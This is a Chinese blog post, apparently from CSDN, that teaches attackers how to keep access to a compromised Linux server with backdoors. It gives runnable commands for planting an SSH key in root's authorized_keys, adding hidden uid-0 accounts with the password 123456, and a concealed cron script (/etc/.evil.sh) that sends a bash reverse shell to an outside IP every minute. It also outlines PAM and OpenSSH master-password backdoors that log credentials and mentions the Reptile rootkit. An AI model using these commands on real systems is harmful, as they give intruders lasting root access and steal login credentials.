Linux权限维持—后门篇

目录

前言

rookit后门

PAM后门

ssh公私钥免密登录

添加linux账户

计划任务

openssh后门万能密码


前言

上面我们讲了windows权限维持的方法 —> Windows权限维持方法 ,以及当我们拿到一台linux机器时,如何隐藏我们的踪迹 —> Linux权限维持—隐藏踪迹,这里我们讲述下如何植入后门来维持我们获取的权限。

rookit后门

介绍

Rootkit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。

 rootkit是linux平台下最常见的一种木马后门工具,它主要是通过替换系统文件来达到入侵和隐藏的目的。rootkit主要分为文件级别的和内核级别的

  • 文件级别:一般是通过程序漏洞或者系统漏洞进入系统后,通过修改系统的重要文件来达到隐藏自己的目的。在系统遭受rootkit攻击后,合法的文件被木马程序替代,变成了外壳程序,而其内部是隐藏着的后门程序。
  • 内核级别:是比文件级rootkit更高级的一种入侵方式,它可以使攻击者获得对系统底层的完全控制权,此时攻击者可以修改系统内核,进而截获运行程序向内核提交的命令,并将其重定向到入侵者所选择的程序并运行此程序。

常用的rookit后门工具有Reptile、mafix

Reptile

Reptile是一款rookit后门工具。项目地址:GitHub - Reptile。使用方法可参考:Reptile 一款LKM Linux rootkit后门使用教程 - 3HACK

工具虽然很强大,但是该工具在新的linux下系统不能使用,由于内核问题。本人还觉得其设置过于复杂,连接需要填入的参数过多,并不方便使用。

PAM后门

PAM是一种认证模块,PAM可以作为Linux登录验证和各类基础服务的认证,简单来说就是一种用于Linux系统上的用户身份验证的机制。进行认证时首先确定是什么服务,然后加载相应的PAM的配置文件(位于/etc/pam.d),最后调用认证文件(位于/lib/security)进行安全认证

简易利用的PAM后门也是通过修改PAM源码中认证的逻辑来达到权限维持

利用方法:

1、获取目标系统所使用的PAM版本,下载对应版本的pam版本
2、解压缩,修改pam_unix_auth.c文件,添加万能密码
3、编译安装PAM
4、编译完后的文件在:modules/pam_unix/.libs/pam_unix.so,复制到/lib64/security中进行替换,即可使用万能密码登陆,并将用户名密码记录到文件中。

参考:https://xz.aliyun.com/t/7902

ssh公私钥免密登录

创建秘钥对,然后将公钥上传到拿下的服务器中,实现root账号免密登录

1. 生成ssh秘钥对

ssh-keygen -t rsa

保存路径输入 ./id_rsa ,保存到当前路径。接着再按两次回车

 

2.  将id_rsa.pub公钥上传到服务中

3. 将公钥写入到authorized_keys文件中

mkdir /root/.ssh && touch /root/.ssh/authorized_keys 
cat id_rsa.pub >> /root/.ssh/authorized_keys && chmod 600 /root/.ssh/authorized_keys && chmod 700 /root/.ssh/

4. 配置允许使用秘钥登录

vim /etc/ssh/sshd_config
RSAAuthentication yes
PubkeyAuthentication yes

5. ssh秘钥登录

ssh -i id_rsa root@192.168.110.131

成功实现秘钥登录

添加linux账户

目标:添加一个uid为0的账号,linux中超级管理员root的uid为0,这里我们再添加一个uid为0的账号

使用useradd添加

#添加账号test1,设置uid为0,密码为123456
useradd -p `openssl passwd -1 -salt 'salt' 123456` test1 -o -u 0 -g root -G root -s /bin/bash -d /home/test1

执行后则

#/etc/passwd
test1:x:0:0::/home/test1:/bin/bash
#/etc/shadow
test1:$1$salt$638tR8bROOvPnPklDQ9Vf/:19129:0:99999:7:::

远程连接,权限为root

直接写入/etc/passwd

1. 首先,使用perl语言(Linux自带)生成带有盐值的密码:

perl -le 'print crypt("123456","addedsalt")'

 2. 添加test2账号,密码设置为123456

echo "test2:adrla7IBSfTZQ:0:0:root:/root:/bin/bash" >>/etc/passwd

计划任务

使用crontab命令进行反弹shell。crontab命令用于设置周期性被执行的指令。新建shell脚本,利用脚本进行反弹。

1. 创建反弹shell脚本,vim /etc/.evil.sh

#!/bin/bash
bash -i >& /dev/tcp/39.100.xx.xx/80  0>&1

并加上执行权限

chmod +x /etc/.evil.sh

2. 添加计划任务

我们可以使用crontab -e或者vim /etc/crontab添加计划任务

#添加计划任务
vim /etc/crontab
#查看计划任务
cat /etc/crontab

设置定时任务为每分钟执行一次

#每一分钟执行一次
*/1 * * * * root /etc/.evil.sh

 3. 重启cron

service cron restart

 然后就可以接收反弹shell

openssh后门万能密码

通过修改SSH源代码的方式来留一个万能的SSH密码。参考:SSH后门万能密码 - 墨鱼菜鸡 - 博客园

方法还有很多~~

相关文章:第4篇:Linux权限维持--后门篇 · 应急响应实战笔记

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Ly4j

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值